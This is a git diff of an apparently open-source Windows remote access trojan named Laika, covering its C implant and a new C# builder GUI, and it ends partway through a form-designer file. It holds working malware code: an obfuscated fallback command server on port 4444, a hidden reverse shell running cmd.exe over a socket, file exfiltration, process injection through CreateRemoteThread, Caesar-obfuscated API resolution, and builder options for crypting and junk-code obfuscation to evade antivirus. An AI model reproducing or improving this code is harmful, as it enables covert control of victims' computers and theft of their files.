diff --git a/.gitignore b/.gitignore index 02b79ca..4732f7c 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,8 @@ .vim -Laika/.vs -Laika/Release -Laika/Laika/Release -Laika/Laika/x64 -*.bin \ No newline at end of file +.vs +.vs +Release +x64 +*.bin +bin +obj \ No newline at end of file diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..3910c40 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "patate-crypter"] + path = patate-crypter + url = https://github.com/ALittlePatate/patate-crypter diff --git a/Laika.sln b/Laika.sln new file mode 100644 index 0000000..5efafdc --- /dev/null +++ b/Laika.sln @@ -0,0 +1,51 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.1.32407.343 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Laika", "Laika\Laika.vcxproj", "{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{ECBAF9B2-2988-480B-973E-50A6BDC7016E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|Any CPU.ActiveCfg = Debug|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|Any CPU.Build.0 = Debug|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.ActiveCfg = Debug|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.Build.0 = Debug|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.ActiveCfg = Debug|Win32 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.Build.0 = Debug|Win32 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|Any CPU.ActiveCfg = Release|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|Any CPU.Build.0 = Release|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.ActiveCfg = Release|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.Build.0 = Release|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.ActiveCfg = Release|Win32 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.Build.0 = Release|Win32 + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|x64.ActiveCfg = Debug|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|x64.Build.0 = Debug|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|x86.ActiveCfg = Debug|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|x86.Build.0 = Debug|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|Any CPU.Build.0 = Release|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x64.ActiveCfg = Release|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x64.Build.0 = Release|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x86.ActiveCfg = Release|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x86.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {40DA52A8-9E2F-46BC-AA9A-205BF4863D68} + EndGlobalSection +EndGlobal diff --git a/Laika/Laika.sln b/Laika/Laika.sln deleted file mode 100644 index 7741c2d..0000000 --- a/Laika/Laika.sln +++ /dev/null @@ -1,31 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 17 -VisualStudioVersion = 17.1.32407.343 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Laika", "Laika.vcxproj", "{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|x64 = Debug|x64 - Debug|x86 = Debug|x86 - Release|x64 = Release|x64 - Release|x86 = Release|x86 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.ActiveCfg = Debug|x64 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.Build.0 = Debug|x64 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.ActiveCfg = Debug|Win32 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.Build.0 = Debug|Win32 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.ActiveCfg = Release|x64 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.Build.0 = Release|x64 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.ActiveCfg = Release|Win32 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {40DA52A8-9E2F-46BC-AA9A-205BF4863D68} - EndGlobalSection -EndGlobal diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj index 3340557..73cee7a 100644 --- a/Laika/Laika.vcxproj +++ b/Laika/Laika.vcxproj @@ -72,23 +72,31 @@ true + ..\bin\ + ..\obj\ - false + true false false false * false + ..\bin\ + ..\obj\ true + ..\bin\ + ..\obj\ false true true * + ..\bin\ + ..\obj\ false @@ -96,16 +104,23 @@ Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS true stdcpp20 MultiThreaded + Default + false + true + CompileAsC Console true - msvcrt.lib;%(AdditionalDependencies) + %(AdditionalDependencies) + true + main + true @@ -126,12 +141,12 @@ Console true true - true + DebugFull true main - true + false %(AdditionalDependencies) @@ -147,7 +162,7 @@ Level3 true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + _DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS true MultiThreaded diff --git a/Laika/config.h b/Laika/config.h index 06e42b8..4eec8bd 100644 --- a/Laika/config.h +++ b/Laika/config.h @@ -1,9 +1,9 @@ #define FALLBACK_SERVERS 1 -char* fallback_servers[1] = { +char* fallback_servers[FALLBACK_SERVERS] = { "6>736;=3:;36", }; -int fallback_servers_ip[1] = { +int fallback_servers_ip[FALLBACK_SERVERS] = { 4444, }; \ No newline at end of file diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c index f11923f..0d61a08 100644 --- a/Laika/file_explorer.c +++ b/Laika/file_explorer.c @@ -17,22 +17,25 @@ int get_drives_list(char* buf) { return count; // return number of drives found } -char get_obj_info(const char* dirPath) { - char result = 'N'; - HANDLE hFind = NULL; - WIN32_FIND_DATA findData; +char get_obj_info(const char* path) { + WCHAR widePath[MAX_PATH]; + DWORD attributes; - WCHAR searchPath[MAX_PATH]; - mbstowcs_(searchPath, dirPath, MAX_PATH); + if (mbstowcs_(widePath, path, MAX_PATH) == (size_t)-1) { + return 'N'; + } + attributes = Api.GetFileAttributesW(widePath); - wcscat(searchPath, L"\\*.*"); - hFind = Api.FindFirstFileW(searchPath, &findData); + if (attributes == INVALID_FILE_ATTRIBUTES) { + return 'N'; // Path doesn't exist or can't be accessed + } - if (hFind == INVALID_HANDLE_VALUE) - return result; - result = (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? 'd' : 'f'; - Api.FindClose(hFind); - return result; + if (attributes & FILE_ATTRIBUTE_DIRECTORY) { + return 'd'; // It's a directory + } + else { + return 'f'; // It's a file + } } char* get_file_list(const char* dirPath, int* numFiles) { @@ -72,7 +75,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { fileList = (char**)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*)); } fileList[numFound] = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, strlen(fileName) + 1); - strcpy(fileList[numFound], CAESAR(fileName)); + strcpy(fileList[numFound], fileName); numFound++; } while (Api.FindNextFileW(hFind, &findData) != 0); @@ -100,7 +103,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { // Set the numFiles parameter to the number of files/folders found *numFiles = numFound; - return fileNames; + return CAESAR(fileNames); } BOOL delete_folder(LPCTSTR lpszDir) { @@ -122,7 +125,7 @@ BOOL delete_folder(LPCTSTR lpszDir) { } do { - if (Api.lstrcpyW(FindFileData.cFileName, TEXT(".")) == 0 || Api.lstrcpyW(FindFileData.cFileName, TEXT("..")) == 0) { + if (wcscmp_(FindFileData.cFileName, TEXT(".")) == 0 || wcscmp_(FindFileData.cFileName, TEXT("..")) == 0) { // skip the current and parent directories continue; } @@ -166,7 +169,7 @@ int download_file(HANDLE fp, SOCKET sock) { // Send the contents of the file through the socket while (1) { - Api.WriteFile(fp, data, BUFFER_SIZE, &bytes_read, NULL); + Api.ReadFile(fp, data, BUFFER_SIZE, &bytes_read, NULL); if (bytes_read == 0) { break; } @@ -190,6 +193,7 @@ int download_file(HANDLE fp, SOCKET sock) { } } else { + Api.send(sock, "", strlen(""), 0); Api.HeapFree(_crt_heap, 0, data); Api.CloseHandle(fp); Sleep_(Sleep_TIME); @@ -203,6 +207,7 @@ int download_file(HANDLE fp, SOCKET sock) { } } + Api.send(sock, "", strlen(""), 0); Api.CloseHandle(fp); Api.HeapFree(_crt_heap, 0, data); diff --git a/Laika/main.c b/Laika/main.c index 37e4be0..f3d352a 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -21,6 +21,8 @@ HANDLE g_hChildStd_IN_Wr = NULL; HANDLE g_hChildStd_OUT_Rd = NULL; HANDLE g_hChildStd_OUT_Wr = NULL; +int started = 0; + #define BUFFER_SIZE 4096 #define SMALL_SLEEP_TIME 50 @@ -40,6 +42,9 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) { else if (bytesRead == SOCKET_ERROR) { break; } + else if (g_hChildStd_IN_Wr == NULL) { + break; + } else { Sleep_(SMALL_SLEEP_TIME); } @@ -50,15 +55,28 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) { } DWORD WINAPI redirect_o_thread(LPVOID lpParameter) { + started = 1; SOCKET sock = (SOCKET)lpParameter; char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE); DWORD bytesRead = 0; + DWORD bytesAvailable = 0; while (1) { - // Read data from the child process's stdout pipe - if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, BUFFER_SIZE, &bytesRead, NULL)) { - Api.send(sock, CAESAR(buffer), (int)bytesRead, 0); - //Api.send(sock, buffer, bytesRead, 0); + if (Api.PeekNamedPipe(g_hChildStd_OUT_Rd, NULL, 0, NULL, &bytesAvailable, NULL)) { + if (bytesAvailable > 0) { + if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, min(BUFFER_SIZE, bytesAvailable), &bytesRead, NULL)) { + Api.send(sock, CAESAR(buffer), (int)bytesRead, 0); + } + else { + break; + } + } + else { + Sleep_(SMALL_SLEEP_TIME); + } + } + else if (g_hChildStd_OUT_Rd == NULL) { + break; } else { DWORD error = Api.GetLastError(); @@ -68,7 +86,6 @@ DWORD WINAPI redirect_o_thread(LPVOID lpParameter) { } } } - Api.HeapFree(_crt_heap, 0, buffer); return 0; } @@ -87,6 +104,8 @@ DWORD WINAPI watch_process(LPVOID lpParameter) { while (1) { n = Api.recv(args->sock, buffer, sizeof(buffer), MSG_PEEK); + if (Api.WaitForSingleObject(args->process, 0) == WAIT_OBJECT_0) + return 0; if (n > 0) { // There is data available on the socket, so the connection is still alive } @@ -303,6 +322,7 @@ retry: size_t fsize = 0; char *file = upload_file_to_mem(sock, &fsize); if (file == NULL) { + Api.send(sock, "fail", strlen("fail"), 0); Sleep_(Sleep_TIME); goto retry; } @@ -318,6 +338,7 @@ retry: Api.HeapFree(_crt_heap, 0, arch); if (proc == NULL) { + Api.send(sock, "fail", strlen("fail"), 0); Api.HeapFree(_crt_heap, 0, file); Sleep_(Sleep_TIME); goto retry; @@ -325,6 +346,7 @@ retry: LPVOID addr = Api.VirtualAllocEx(proc, NULL, fsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (addr == NULL) { + Api.send(sock, "fail", strlen("fail"), 0); Api.HeapFree(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); @@ -332,6 +354,7 @@ retry: } if (Api.WriteProcessMemory(proc, addr, file, fsize, NULL) == 0) { + Api.send(sock, "fail", strlen("fail"), 0); Api.HeapFree(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); @@ -340,6 +363,7 @@ retry: HANDLE hThread = Api.CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL); if (hThread == NULL) { + Api.send(sock, "fail", strlen("fail"), 0); Api.HeapFree(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); @@ -349,6 +373,7 @@ retry: Api.HeapFree(_crt_heap, 0, file); Api.CloseHandle(proc); Api.CloseHandle(hThread); + Api.send(sock, "ok", strlen("ok"), 0); } #endif if (strncmp_(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list @@ -399,7 +424,7 @@ retry: goto retry; } - HANDLE hFile = Api.CreateFileA(CAESAR_DECRYPT(path), GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); + HANDLE hFile = Api.CreateFileA(CAESAR_DECRYPT(path), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); Api.HeapFree(_crt_heap, 0, path); if (hFile == NULL) @@ -444,17 +469,21 @@ retry: } if (strncmp_(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell + started = 0; // Set the socket as standard output and error SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; if (!Api.CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0)) { + Api.send(sock, "fail", strlen("fail"), 0); SendShellEndedSignal(sock); Sleep_(Sleep_TIME); goto retry; } if (!Api.CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &sa, 0)) { + Api.CloseHandle(g_hChildStd_IN_Rd); + Api.send(sock, "fail", strlen("fail"), 0); SendShellEndedSignal(sock); Sleep_(Sleep_TIME); goto retry; @@ -463,6 +492,14 @@ retry: // Create a thread to read from the pipes and write to the socket HANDLE hThread = Api.CreateThread(NULL, 0, &redirect_i_thread, (LPVOID)sock, 0, NULL); HANDLE hThread2 = Api.CreateThread(NULL, 0, &redirect_o_thread, (LPVOID)sock, 0, NULL); + if (hThread == NULL || hThread2 == NULL) { + Api.CloseHandle(g_hChildStd_OUT_Wr); + Api.CloseHandle(g_hChildStd_IN_Rd); + Api.send(sock, "fail", strlen("fail"), 0); + SendShellEndedSignal(sock); + Sleep_(Sleep_TIME); + goto retry; + } // Create the process STARTUPINFO si; @@ -477,6 +514,7 @@ retry: memset_(&pi, 0, sizeof(PROCESS_INFORMATION)); if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe + Api.send(sock, "fail", strlen("fail"), 0); SendShellEndedSignal(sock); Api.CloseHandle(g_hChildStd_OUT_Wr); Api.CloseHandle(g_hChildStd_IN_Rd); @@ -497,6 +535,31 @@ retry: watch_process_args args = { sock, pi.hProcess }; HANDLE hThread3 = Api.CreateThread(NULL, 0, &watch_process, &args, 0, NULL); + if (started == 0) { + SendShellEndedSignal(sock); + + Api.TerminateProcess(pi.hProcess, 0); + Api.CloseHandle(pi.hProcess); + Api.CloseHandle(pi.hThread); + Api.CloseHandle(g_hChildStd_OUT_Wr); + Api.CloseHandle(g_hChildStd_IN_Rd); + g_hChildStd_OUT_Wr = NULL; + g_hChildStd_IN_Rd = NULL; + + if (hThread != NULL) { + Api.TerminateThread(hThread, 0); + Api.CloseHandle(hThread); + } + if (hThread2 != NULL) { + Api.TerminateThread(hThread2, 0); + Api.CloseHandle(hThread2); + } + if (hThread3 != NULL) { + Api.TerminateThread(hThread3, 0); + Api.CloseHandle(hThread3); + } + continue; + } // Wait for the process to finish Api.WaitForSingleObject(pi.hProcess, INFINITE); @@ -507,6 +570,8 @@ retry: Api.CloseHandle(pi.hThread); Api.CloseHandle(g_hChildStd_OUT_Wr); Api.CloseHandle(g_hChildStd_IN_Rd); + g_hChildStd_OUT_Wr = NULL; + g_hChildStd_IN_Rd = NULL; if (hThread != NULL) { Api.TerminateThread(hThread, 0); diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index 8f5cbde..75ae467 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -19,6 +19,8 @@ void InitApis() { Api.GetProcAddress = (TGetProcAddress)my_GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx")); Api.LoadLibraryA = (TLoadLibraryA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("QtfiQngwfw~F")); + Api.PeekNamedPipe = (TPeekNamedPipe)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("UjjpSfrjiUnuj")); + Api.GetFileAttributesW = (TGetFileAttributesW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyKnqjFyywngzyjx\\")); Api.CreateRemoteThread = (TCreateRemoteThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjWjrtyjYmwjfi")); Api.CreateProcessA = (TCreateProcessA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxxF")); Api.CreateFileA = (TCreateFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqjF")); diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h index bf6ea5d..da7ce38 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -32,6 +32,7 @@ typedef int(WINAPI* Tsetsockopt)(SOCKET, int, int, const char*, int); typedef LPWSTR(WINAPI* TlstrcpyW)(LPWSTR, LPCWSTR); typedef LPWSTR(WINAPI* TlstrcatW)(LPWSTR, LPCWSTR); +typedef DWORD(WINAPI* TGetFileAttributesW)(LPCWSTR); typedef HANDLE(WINAPI* TCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); @@ -45,6 +46,7 @@ typedef BOOL(WINAPI* TTerminateThread)(HANDLE, DWORD); typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION); typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT); typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR); +typedef BOOL(WINAPI* TPeekNamedPipe)(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage); typedef HANDLE(WINAPI* TCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); typedef HANDLE(WINAPI* TCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); typedef BOOL(WINAPI* TCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION); @@ -76,6 +78,8 @@ typedef struct ApiList { Tselect select; Tsetsockopt setsockopt; + TGetFileAttributesW GetFileAttributesW; + TPeekNamedPipe PeekNamedPipe; TLoadLibraryA LoadLibraryA; TCreateFileA CreateFileA; TCreateProcessA CreateProcessA; diff --git a/Server/App.config b/Server/App.config new file mode 100644 index 0000000..193aecc --- /dev/null +++ b/Server/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/Server/BuildMenu.Designer.cs b/Server/BuildMenu.Designer.cs new file mode 100644 index 0000000..cc23ed1 --- /dev/null +++ b/Server/BuildMenu.Designer.cs @@ -0,0 +1,364 @@ +namespace Server +{ + partial class BuildMenu + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + this.Hosts = new System.Windows.Forms.ListBox(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.button1 = new System.Windows.Forms.Button(); + this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.label3 = new System.Windows.Forms.Label(); + this.checkBox1 = new System.Windows.Forms.CheckBox(); + this.checkBox2 = new System.Windows.Forms.CheckBox(); + this.label4 = new System.Windows.Forms.Label(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.checkBox3 = new System.Windows.Forms.CheckBox(); + this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); + this.label5 = new System.Windows.Forms.Label(); + this.checkBox4 = new System.Windows.Forms.CheckBox(); + this.numericUpDown2 = new System.Windows.Forms.NumericUpDown(); + this.label6 = new System.Windows.Forms.Label(); + this.button2 = new System.Windows.Forms.Button(); + this.label7 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.button3 = new System.Windows.Forms.Button(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.label9 = new System.Windows.Forms.Label(); + this.contextMenuStrip1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.SuspendLayout(); + // + // Hosts + // + this.Hosts.FormattingEnabled = true; + this.Hosts.Location = new System.Drawing.Point(12, 24); + this.Hosts.Name = "Hosts"; + this.Hosts.Size = new System.Drawing.Size(145, 121); + this.Hosts.TabIndex = 0; + this.Hosts.MouseDown += new System.Windows.Forms.MouseEventHandler(this.Hosts_MouseDown); + // + // textBox1 + // + this.textBox1.Location = new System.Drawing.Point(232, 58); + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(116, 20); + this.textBox1.TabIndex = 1; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(165, 61); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(61, 13); + this.label1.TabIndex = 2; + this.label1.Text = "IP Address:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(9, 8); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(84, 13); + this.label2.TabIndex = 3; + this.label2.Text = "Fallback servers"; + // + // button1 + // + this.button1.Location = new System.Drawing.Point(209, 89); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(75, 23); + this.button1.TabIndex = 4; + this.button1.Text = "Add host"; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // contextMenuStrip1 + // + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.deleteToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(108, 26); + // + // deleteToolStripMenuItem + // + this.deleteToolStripMenuItem.Image = global::Server.Properties.Resources.delete; + this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; + this.deleteToolStripMenuItem.Size = new System.Drawing.Size(107, 22); + this.deleteToolStripMenuItem.Text = "Delete"; + this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(9, 166); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(72, 13); + this.label3.TabIndex = 6; + this.label3.Text = "patate crypter"; + // + // checkBox1 + // + this.checkBox1.AutoSize = true; + this.checkBox1.Location = new System.Drawing.Point(83, 193); + this.checkBox1.Name = "checkBox1"; + this.checkBox1.Size = new System.Drawing.Size(113, 17); + this.checkBox1.TabIndex = 8; + this.checkBox1.Text = "Use patate crypter"; + this.checkBox1.UseVisualStyleBackColor = true; + this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged); + // + // checkBox2 + // + this.checkBox2.AutoSize = true; + this.checkBox2.Enabled = false; + this.checkBox2.Location = new System.Drawing.Point(83, 233); + this.checkBox2.Name = "checkBox2"; + this.checkBox2.Size = new System.Drawing.Size(88, 17); + this.checkBox2.TabIndex = 9; + this.checkBox2.Text = "XOR Encrypt"; + this.checkBox2.UseVisualStyleBackColor = true; + this.checkBox2.CheckedChanged += new System.EventHandler(this.checkBox2_CheckedChanged); + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Enabled = false; + this.label4.Location = new System.Drawing.Point(235, 223); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(25, 13); + this.label4.TabIndex = 10; + this.label4.Text = "Key"; + // + // textBox2 + // + this.textBox2.Enabled = false; + this.textBox2.Location = new System.Drawing.Point(197, 240); + this.textBox2.Name = "textBox2"; + this.textBox2.Size = new System.Drawing.Size(100, 20); + this.textBox2.TabIndex = 11; + // + // checkBox3 + // + this.checkBox3.AutoSize = true; + this.checkBox3.Enabled = false; + this.checkBox3.Location = new System.Drawing.Point(83, 271); + this.checkBox3.Name = "checkBox3"; + this.checkBox3.Size = new System.Drawing.Size(95, 17); + this.checkBox3.TabIndex = 12; + this.checkBox3.Text = "Add junk code"; + this.checkBox3.UseVisualStyleBackColor = true; + this.checkBox3.CheckedChanged += new System.EventHandler(this.checkBox3_CheckedChanged); + // + // numericUpDown1 + // + this.numericUpDown1.Enabled = false; + this.numericUpDown1.Location = new System.Drawing.Point(234, 270); + this.numericUpDown1.Name = "numericUpDown1"; + this.numericUpDown1.Size = new System.Drawing.Size(41, 20); + this.numericUpDown1.TabIndex = 13; + this.numericUpDown1.Value = new decimal(new int[] { + 2, + 0, + 0, + 0}); + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Enabled = false; + this.label5.Location = new System.Drawing.Point(192, 272); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(36, 13); + this.label5.TabIndex = 14; + this.label5.Text = "Pass :"; + // + // checkBox4 + // + this.checkBox4.AutoSize = true; + this.checkBox4.Enabled = false; + this.checkBox4.Location = new System.Drawing.Point(83, 298); + this.checkBox4.Name = "checkBox4"; + this.checkBox4.Size = new System.Drawing.Size(81, 17); + this.checkBox4.TabIndex = 15; + this.checkBox4.Text = "Control flow"; + this.checkBox4.UseVisualStyleBackColor = true; + this.checkBox4.CheckedChanged += new System.EventHandler(this.checkBox4_CheckedChanged); + // + // numericUpDown2 + // + this.numericUpDown2.Enabled = false; + this.numericUpDown2.Location = new System.Drawing.Point(234, 297); + this.numericUpDown2.Name = "numericUpDown2"; + this.numericUpDown2.Size = new System.Drawing.Size(41, 20); + this.numericUpDown2.TabIndex = 16; + this.numericUpDown2.Value = new decimal(new int[] { + 8, + 0, + 0, + 0}); + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Enabled = false; + this.label6.Location = new System.Drawing.Point(192, 299); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(36, 13); + this.label6.TabIndex 